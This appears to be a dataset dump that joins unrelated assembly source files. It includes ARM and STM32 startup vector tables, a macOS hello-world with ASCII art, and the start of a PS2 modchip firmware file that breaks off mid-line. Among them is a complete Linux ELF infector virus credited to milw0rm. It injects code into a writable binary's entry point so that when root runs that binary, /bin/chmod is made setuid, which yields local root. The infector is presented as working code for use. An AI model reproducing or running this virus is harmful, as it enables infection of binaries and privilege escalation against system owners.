ALIGN ENDIF END
17HXX/BLE5_ST17H66	9,655	ST17H66_SDK_3.0.9/example/OTA/OTA_internal_flash/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; *****************************************************************************/ ;/ Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------/ ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000800 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000200 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
1822417391/STM32HAL_Intelligent-Kitchen-Alarm-System	12,040	MDK-ARM/startup_stm32f103xb.s	;****************** (C) COPYRIGHT 2017 STMicroelectronics ****************** ;* File Name : startup_stm32f103xb.s ;* Author : MCD Application Team ;* Description : STM32F103xB Devices vector table for MDK-ARM toolchain. ;* This module performs: ;* - Set the initial SP ;* - Set the initial PC == Reset_Handler ;* - Set the vector table entries with the exceptions ISR address ;* - Configure the clock system ;* - Branches to __main in the C library (which eventually ;* calls main()). ;* After Reset the Cortex-M3 processor is in Thread mode, ;* priority is Privileged, and the Stack is set to Main. ;****************************************************************************** ;* @attention ;* ;* Copyright (c) 2017-2021 STMicroelectronics. ;* All rights reserved. ;* ;* This software is licensed under terms that can be found in the LICENSE file ;* in the root directory of this software component. ;* If no LICENSE file comes with this software, it is provided AS-IS. ;* ;**************************************************************************** ; Amount of memory (in bytes) allocated for Stack ; Tailor this value to your application needs ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x200 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD MemManage_Handler ; MPU Fault Handler DCD BusFault_Handler ; Bus Fault Handler DCD UsageFault_Handler ; Usage Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD DebugMon_Handler ; Debug Monitor Handler DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WWDG_IRQHandler ; Window Watchdog DCD PVD_IRQHandler ; PVD through EXTI Line detect DCD TAMPER_IRQHandler ; Tamper DCD RTC_IRQHandler ; RTC DCD FLASH_IRQHandler ; Flash DCD RCC_IRQHandler ; RCC DCD EXTI0_IRQHandler ; EXTI Line 0 DCD EXTI1_IRQHandler ; EXTI Line 1 DCD EXTI2_IRQHandler ; EXTI Line 2 DCD EXTI3_IRQHandler ; EXTI Line 3 DCD EXTI4_IRQHandler ; EXTI Line 4 DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1 DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2 DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3 DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4 DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5 DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6 DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7 DCD ADC1_2_IRQHandler ; ADC1_2 DCD USB_HP_CAN1_TX_IRQHandler ; USB High Priority or CAN1 TX DCD USB_LP_CAN1_RX0_IRQHandler ; USB Low Priority or CAN1 RX0 DCD CAN1_RX1_IRQHandler ; CAN1 RX1 DCD CAN1_SCE_IRQHandler ; CAN1 SCE DCD EXTI9_5_IRQHandler ; EXTI Line 9..5 DCD TIM1_BRK_IRQHandler ; TIM1 Break DCD TIM1_UP_IRQHandler ; TIM1 Update DCD TIM1_TRG_COM_IRQHandler ; TIM1 Trigger and Commutation DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare DCD TIM2_IRQHandler ; TIM2 DCD TIM3_IRQHandler ; TIM3 DCD TIM4_IRQHandler ; TIM4 DCD I2C1_EV_IRQHandler ; I2C1 Event DCD I2C1_ER_IRQHandler ; I2C1 Error DCD I2C2_EV_IRQHandler ; I2C2 Event DCD I2C2_ER_IRQHandler ; I2C2 Error DCD SPI1_IRQHandler ; SPI1 DCD SPI2_IRQHandler ; SPI2 DCD USART1_IRQHandler ; USART1 DCD USART2_IRQHandler ; USART2 DCD USART3_IRQHandler ; USART3 DCD EXTI15_10_IRQHandler ; EXTI Line 15..10 DCD RTC_Alarm_IRQHandler ; RTC Alarm through EXTI Line DCD USBWakeUp_IRQHandler ; USB Wakeup from suspend __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT __main IMPORT SystemInit LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP MemManage_Handler\ PROC EXPORT MemManage_Handler [WEAK] B . ENDP BusFault_Handler\ PROC EXPORT BusFault_Handler [WEAK] B . ENDP UsageFault_Handler\ PROC EXPORT UsageFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP DebugMon_Handler\ PROC EXPORT DebugMon_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WWDG_IRQHandler [WEAK] EXPORT PVD_IRQHandler [WEAK] EXPORT TAMPER_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT FLASH_IRQHandler [WEAK] EXPORT RCC_IRQHandler [WEAK] EXPORT EXTI0_IRQHandler [WEAK] EXPORT EXTI1_IRQHandler [WEAK] EXPORT EXTI2_IRQHandler [WEAK] EXPORT EXTI3_IRQHandler [WEAK] EXPORT EXTI4_IRQHandler [WEAK] EXPORT DMA1_Channel1_IRQHandler [WEAK] EXPORT DMA1_Channel2_IRQHandler [WEAK] EXPORT DMA1_Channel3_IRQHandler [WEAK] EXPORT DMA1_Channel4_IRQHandler [WEAK] EXPORT DMA1_Channel5_IRQHandler [WEAK] EXPORT DMA1_Channel6_IRQHandler [WEAK] EXPORT DMA1_Channel7_IRQHandler [WEAK] EXPORT ADC1_2_IRQHandler [WEAK] EXPORT USB_HP_CAN1_TX_IRQHandler [WEAK] EXPORT USB_LP_CAN1_RX0_IRQHandler [WEAK] EXPORT CAN1_RX1_IRQHandler [WEAK] EXPORT CAN1_SCE_IRQHandler [WEAK] EXPORT EXTI9_5_IRQHandler [WEAK] EXPORT TIM1_BRK_IRQHandler [WEAK] EXPORT TIM1_UP_IRQHandler [WEAK] EXPORT TIM1_TRG_COM_IRQHandler [WEAK] EXPORT TIM1_CC_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT TIM3_IRQHandler [WEAK] EXPORT TIM4_IRQHandler [WEAK] EXPORT I2C1_EV_IRQHandler [WEAK] EXPORT I2C1_ER_IRQHandler [WEAK] EXPORT I2C2_EV_IRQHandler [WEAK] EXPORT I2C2_ER_IRQHandler [WEAK] EXPORT SPI1_IRQHandler [WEAK] EXPORT SPI2_IRQHandler [WEAK] EXPORT USART1_IRQHandler [WEAK] EXPORT USART2_IRQHandler [WEAK] EXPORT USART3_IRQHandler [WEAK] EXPORT EXTI15_10_IRQHandler [WEAK] EXPORT RTC_Alarm_IRQHandler [WEAK] EXPORT USBWakeUp_IRQHandler [WEAK] WWDG_IRQHandler PVD_IRQHandler TAMPER_IRQHandler RTC_IRQHandler FLASH_IRQHandler RCC_IRQHandler EXTI0_IRQHandler EXTI1_IRQHandler EXTI2_IRQHandler EXTI3_IRQHandler EXTI4_IRQHandler DMA1_Channel1_IRQHandler DMA1_Channel2_IRQHandler DMA1_Channel3_IRQHandler DMA1_Channel4_IRQHandler DMA1_Channel5_IRQHandler DMA1_Channel6_IRQHandler DMA1_Channel7_IRQHandler ADC1_2_IRQHandler USB_HP_CAN1_TX_IRQHandler USB_LP_CAN1_RX0_IRQHandler CAN1_RX1_IRQHandler CAN1_SCE_IRQHandler EXTI9_5_IRQHandler TIM1_BRK_IRQHandler TIM1_UP_IRQHandler TIM1_TRG_COM_IRQHandler TIM1_CC_IRQHandler TIM2_IRQHandler TIM3_IRQHandler TIM4_IRQHandler I2C1_EV_IRQHandler I2C1_ER_IRQHandler I2C2_EV_IRQHandler I2C2_ER_IRQHandler SPI1_IRQHandler SPI2_IRQHandler USART1_IRQHandler USART2_IRQHandler USART3_IRQHandler EXTI15_10_IRQHandler RTC_Alarm_IRQHandler USBWakeUp_IRQHandler B . ENDP ALIGN ;*************************************************************************** ; User Stack and Heap initialization ;***************************************************************************** IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ALIGN ENDIF END
1995parham/github-do-not-ban-us	3,727	together/iAlex11/iAlex11.s	global start section .text start: mov rax, 0x2000004 ; write mov rdi, 1 ; stdout mov rsi, msg mov rdx, msg.len syscall mov rax, 0x2000001 ; exit mov rdi, 0 syscall section .data msg: db "GitHub is for everyone!", 10 .len: equ $ - msg /* ,----, ,/ .`\| ,--, ,----.. ,----.. ,--. ,----.. ,---, ,` .' : ,--.'\| ,---,. ,---,. / / \ ,-.----. ,---,. ,---,.,-.----. / / \ ,--.'\| ,---,. / / \ ,`--.' \| ; ; / ,--, \| : ,--, ,' .' \ ,' .' \| / . : \ / \ ,' .' \| ,---. ,' .' \|\ / \ ,---, / . : ,--,: : \| ,' .' \| \| : : \| : :.'___,/ ,',---.'\| : ' ,'_ /\|,---.' .' \| ,---.' \| . / ;. \; : \ ,---.' \| /__./\|,---.' \|; : \ /_ ./\| . / ;. \,`--.'`\| ' :,---.' \| . \| ;. / : \| '\| : \| \| \| : _' \| .--. \| \| :\| \| \|: \| \| \| .'. ; / ` ;\| \| .\ : \| \| .' ,---.; ; \|\| \| .'\| \| .\ :,---, \| ' :. ; / ` ;\| : : \| \|\| \| .' . ; /--` \| : \|; \|.'; ; : : \|.' \|,'_ /\| : . \|: : : / : : : ; \| ; \ ; \|. : \|: \| : : \|-,/___/ \ \| \|: : \|-,. : \|: /___/ \. : \|; \| ; \ ; \|: \| \ \| :: : \|-, ; \| ; __ ' ' ;`----' \| \| \| ' ' ; :\| ' \| \| . .: \| ; : \| \|-,\| : \| ; \| '\| \| \ : : \| ;/\|\ ; \ ' \|: \| ;/\|\| \| \ :. \ \ ,' '\| : \| ; \| '\| : ' '; \|: \| ;/\| \| : \|.' .'\| \| \| ' : ; ' \| .'. \|\| \| ' \| \| \|\| : \ \| : ;/\|. \| ' ' ' :\| : . / \| : .' \ \ \: \|\| : .'\| : . / \ ; ` ,'. \| ' ' ' :' ' ;. ;\| : .' . \| '_.' :' : ; \| \| ' \| \| : \| ': \| \| : ' ;\| \| . \| \| \| .'' ; \; / \|; \| \| \ \| \| \|-, ; \ ' .\| \| \|-,; \| \| \ \ \ ' ' ; \; / \|\| \| \| \ \|\| \| \|-, ' ; : \ \|\| \| ' ' : \| ' : \| : ;\| ; ' \| \| '' : '; \| ' : ' \ \ ', / \| \| ;\ \ ' : ;/\| \ \ '' : ;/\|\| \| ;\ \ ' \ \| \ \ ', / ' : \| ; .'' : ;/\| ' \| '/ .'' : \| ; \|.' \| \| ' ,/ : \| : ; ; \|\| \| \| ; \| \| \| ; : / : ' \| \.' \| \| \ \ ` ;\| \| \: ' \| \.' \ ; ; ; : / \| \| '`--' \| \| \ \| : / ; \|.' '---' ; : ;--' ' : `--' \ : / \| : \ \ \ .' : : :-' \| : .' : \ \|\| : .': : :-' : \ \ \ \ .' ' : \| \| : .' \ \ .' '---' \| ,/ : , .-./ \| ,' \| \| ,' `---` \| \|.' \| \| ,' '---" \| \| ,' \| \|.' \ ' ; `---` ; \|.' \| \| ,' `---` '---' `--`----' `----' `----' `---' `----' `----' `---' `--` '---' `----' */
1N3/PrivEsc	7,303	linux/linux_exploits/2492.s	# gcc infR3.s -o infR3 # strip infR3 # find a writable binary (example: ls) # ./infR3 /bin/ls # when root calls the writable ls, chmod will be setuided # Coded by jolmos@7a69ezine.org == sha0@BadCheckSum.com .text .global main # infeccion de _start para conseguir local root # use at your own risk # # Coded by jolmos@7a69ezine.org == sha0@BadCheckSum.com # # GPLv2 main: push %ebp movl %esp, %ebp subl $500, %esp #si el codigo del bicho es mas grande, habra k ampliar este buffer get_param: movl 0x0c(%ebp), %eax movl 4(%eax), %ebx # ebx -> argv[1] open_host: movl $5, %eax movl $2, %ecx int $0x80 movl %eax, -4(%ebp) # descriptor en -4 calc_len: movl $19, %eax movl -4(%ebp), %ebx xorl %ecx, %ecx movl $2, %edx int $0x80 movl %eax, -8(%ebp) # longitud del host en -8 mapeo: movl $90, %eax xorl %ecx, %ecx pushl %ecx # offset 0 pushl -4(%ebp) # descriptor pushl $1 # privado 0x22 pushl $3 # read\|write 0x07 pushl -8(%ebp) # size pushl %ecx # nulo, para que nos indique mmap donde. movl %esp, %ebx int $0x80 cmp $0xfffff000, %eax jbe ident # error en el mapa jmp ending ident: movl %eax, -12(%ebp) # -12 -> VA del mapa # eax -> VA del mapa cmpl $0x464c457f, (%eax) # es elf? jne not_elf cmpb $0x02, 0x10(%eax) # es ejecutable? jne not_elf cmpl $0xde, 0x07(%eax) # comprobar si ya ha sido infectado je not_elf movl $0xde, 0x07(%eax) # Marca de infeccion guarda_init: movl $end_vir, %ecx #addl $5, %ecx subl $start_vir, %ecx movl %ecx,-16(%ebp) # -16 -> size del virus + 5 # ecx -> size del virus + 5 leal -500(%ebp), %edi # edi -> -500 movl 0x18(%eax), %esi # esi -> RVA e_entry movl 0x2c(%eax), %ecx # Numero de PH's (e_phnum) (cuenta atras) primer_ph: movl 0x1c(%eax), %edx # edx -> RVA e_phoff addl %eax, %edx # edx -> VA e_phoff busca_ph: cmpl %esi, 0x08(%edx) # if e_entry > p_vaddr => siguiente PH jna destino siguiente_ph: addl 0x2a(%edx), %edx loop busca_ph destino: ######### LA CLAVE DE TODO ########## subl 0x08(%edx), %esi # esi -> RVA e_entry-p_vaddr addl 0x04(%edx), %esi # esi -> RVA e_entry-p_vaddr+p_offset #addl $0x34, %esi # alineacion #subl $0x30 -> _init #addl $0x34 -> _start (p_offset) #subl $0x65, %esi addl %eax, %esi # esi -> VA e_entry-p_vaddr+p_offset movl %esi, %edx salvo_start: movl -16(%ebp), %ecx # virus size rep movsb # copiando _start en -400 guarda_virus: movl %edx, %edi # edi -> VA del entry point movl $start_vir, %esi # esi -> VA del inicio del virus movl -16(%ebp), %ecx # ecx -> size del virus rep movsb jmp sincroniza not_elf: movl $4, %eax movl $1, %ebx movl $notelf, %ecx movl $28, %edx int $0x80 sincroniza: movl %eax, %ebx # ebx -> mapa movl $144, %eax # eax -> msync movl -8(%ebp),%ecx # ecx -> size del mapa movl $2, %edx # edx -> flags int $0x80 desmapea: movl $91, %eax movl -12(%ebp), %ebx # VA inicial del mapa movl -8(%ebp), %ecx # size del mapa int $0x80 seek_end: movl $19, %eax # lseek movl -4(%ebp), %ebx xorl %ecx, %ecx movl $2, %edx # SEEK_END int $0x80 write: movl $4, %eax movl -4(%ebp), %ebx leal -500(%ebp), %ecx movl -16(%ebp), %edx int $0x80 cierra_host: movl $6, %eax movl -4(%ebp), %ebx int $0x80 utime: #movl $30, %eax #int $0x80 ending: movl $6, %eax int $0x80 leave ret ###################################################################### start_vir: pushal # backup de 0x20 bytes subl $400, %esp # espacio de pila de 400 bytes (total 0x1b0 bytes 0x1b0 + 4 = 0x1b4(%esp)) call delta # ebp -> delta offset delta: popl %ebp subl $delta, %ebp payload_code: ##### PAYLOAD ##### soy_root: movl $0x18, %eax int $0x80 #__NR_getuid test %eax, %eax no_pues_fuera: jnz end_payload_code setuidar: movl $0x0f, %eax leal shushi(%ebp), %ebx movl $04755, %ecx int $0x80 # __NR_chmod end_payload_code: ###################### calcula_nombre_host: movl $1,%edx # edx -> length del nombre de host movl 0x1b4(%esp), %edi # edi -> addr del inicio del nombre del huesped xorl %ebx, %ebx movl $9900, %ecx busca_path: cmpl %ebx, (%edi) je path_encontrado incl %edi loop busca_path path_encontrado: movl $100, %ecx decl %edi situa_inicio_nombre: cmpb %bl, (%edi) je nombre_ok decl %edi loop situa_inicio_nombre nombre_ok: incl %edi desproteger_host: movl $125, %eax # mprotect leal start_vir(%ebp), %ebx andl $0xfffff000, %ebx # pagina del bicho movl $2000, %ecx # 2 paginas a desproteger movl $7, %edx # rwx int $0x80 # ahora ya tengo w ya puedo poner encima # el codigo correcto de _start desproteger_pila: movl $125, %eax # mprotect movl %esp, %ebx andl $0xfffff000, %ebx # pagina de pila int $0x80 # reconstruye_host: movl $5, %eax # open movl %edi, %ebx # argv[0] xorl %ecx, %ecx # solo me puedo abrir a mi mismo en modo 0 int $0x80 # (O_RDONLY) movl $end_vir, %esi # final-inicio+variable del final subl $start_vir, %esi # esi -> virus length xorl %ecx, %ecx movl %eax, %ebx # descriptor host movl $19, %eax # lseek movl $2, %edx # SEEK_END int $0x80 # nos situamos al final del host-virsize movl %eax, %edi # edi -> tamanyo del host pushl %ecx # offset: todo el file desde el inicio pushl %ebx # descriptor pushl $1 # mapa privado pushl $1 # solo lectura (el descriptor esta modo 0) pushl %eax # mapeamos todo el file pushl %ecx # que me de el la address movl $90, %eax movl %esp, %ebx int $0x80 cmp $0xfffff000, %eax jbe reconstruye int $3 # mapa incorrecto reconstruye: addl %edi, %eax # eax -> final del mapa subl %esi, %eax # eax -> inicio del saved _start movl %esi, virisize(%ebp) movl %eax, savedstart(%ebp) movl $fin_paranoia, %ecx # como que no me puedo borrar a mi subl $paranoia, %ecx # mismo, porque perderia la ejecucion leal paranoia(%ebp), %esi # copio el codigo de borrado a otro movl %esp, %edi # area de memoria y desvio la ejecucion rep movsb # ahi. jmp %esp paranoia: movl virisize(%ebp), %ecx movl savedstart(%ebp), %esi # optimizable leal start_vir(%ebp), %edi rep movsb proteger_host: movl $125, %eax # mprotect leal start_vir(%ebp), %ebx andl $0xfffff000, %ebx # pagina del bicho movl $2000, %ecx # 2 paginas a desproteger movl $5, %edx # r-x int $0x80 # ahora ya tengo w ya puedo poner encima # el codigo correcto de _start proteger_pila: movl $125, %eax # mprotect movl %esp, %ebx andl $0xfffff000, %ebx # pagina de pila movl $6, %edx # rw- int $0x80 # movl $6, %eax # close int $0x80 # ebx descriptor leal start_vir(%ebp), %eax addl $424, %esp # ok movl %eax, 8(%esp) # ok (en el saved ebp) popal jmp %ebp fin_paranoia: virisize: .long 0x00000000 savedstart: .long 0x00000000 shushi: .string "/bin/chmod\0" end_vir: ####################################################################### notelf: .string "NOT ELF OR INFECTED YET!!!\n\0" fin: # milw0rm.com [2006-10-08]
1nick9/PS2-Magic-ICE-FINAL-REVERSE	132,397	h2o-sx28ORsx48-compile-working.s	;****************************************************************************** ; H2O-Improved ;**************************************************************************** ;DEFINE ;expermenting defines, not needed. SX48RAM = 1 ; unneeded memory remap, now working starting at $10 as sx48 has 1-f bank free. sx28 15-1f then or over 2x 4x 6x 8x Ax Cx Ex (had mistaken the or just for 2x bank rest free) ;SX Chip used. SX48 uncomment below. SX28 have commented. SX48 = 1 ; uncomment for compiling for sx48 else is compiled for sx28 F=TR ;RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. sx28 or this and next define aswell for sx48. sx28 DECFCB1171D02DAE402AC30419CBBDAB ;USE SX48RSTBUMP ONLY FOR SX COMPILING FOR SX48. Both RSTBUMP and SX48RSTBUMP must be on ;SX48RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. for sx48 with RSTBUMP uncommented 4F544B1369ADFAFFA973F51FB47CD27B ;V14/V8jap identiy jmpers. if using sx48 needs the trim, sx28 either can go but stock code is without trim ;H2O75KJMPERS = 1 ; uncomment for compiling with restbump for ps1mode. if compiling for rstbmp use one of the sx28/sx48 with h2o v14usa/v14jap/v8jap ident jmpers else use F=TR defines sx28 C60170F11BFEF1210C677F3704202E21 ;SX48H2O75KJMPERSTRIM = 1 ; needed if using h2o jmpers ident with sx48 rstbmp. h needs to go to 5v if not jap console or triggers my cad. sx28 2CAC930CAEC1E5D3ED67A2AC89769636 sx48 5607357E1E0B3C2815F69713F2AE8970 ;USE ONLY IF F=TR or RSTBUMP without H2O75KJMPERS. ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal sx28 B0316082466C451B3E4C201697BB8D05 sx48 3C452A502DC31221D6E882D6A54D83C1 ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa sx28 5692BFA1416257ACAC48729793EB3F70 sx48 AA4EE16D3BF2D75C1410FAD7F0596092 ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap sx28 6666645ED508DCA4FABF59A2E4296E20 sx48 08F345CF0FD1183AFCD89A20ACCF6BC3 ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;only rstbump v8jap tested but rest should be right IFDEF SX48 device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ELSE device SX28,TURBO,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ENDIF ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; 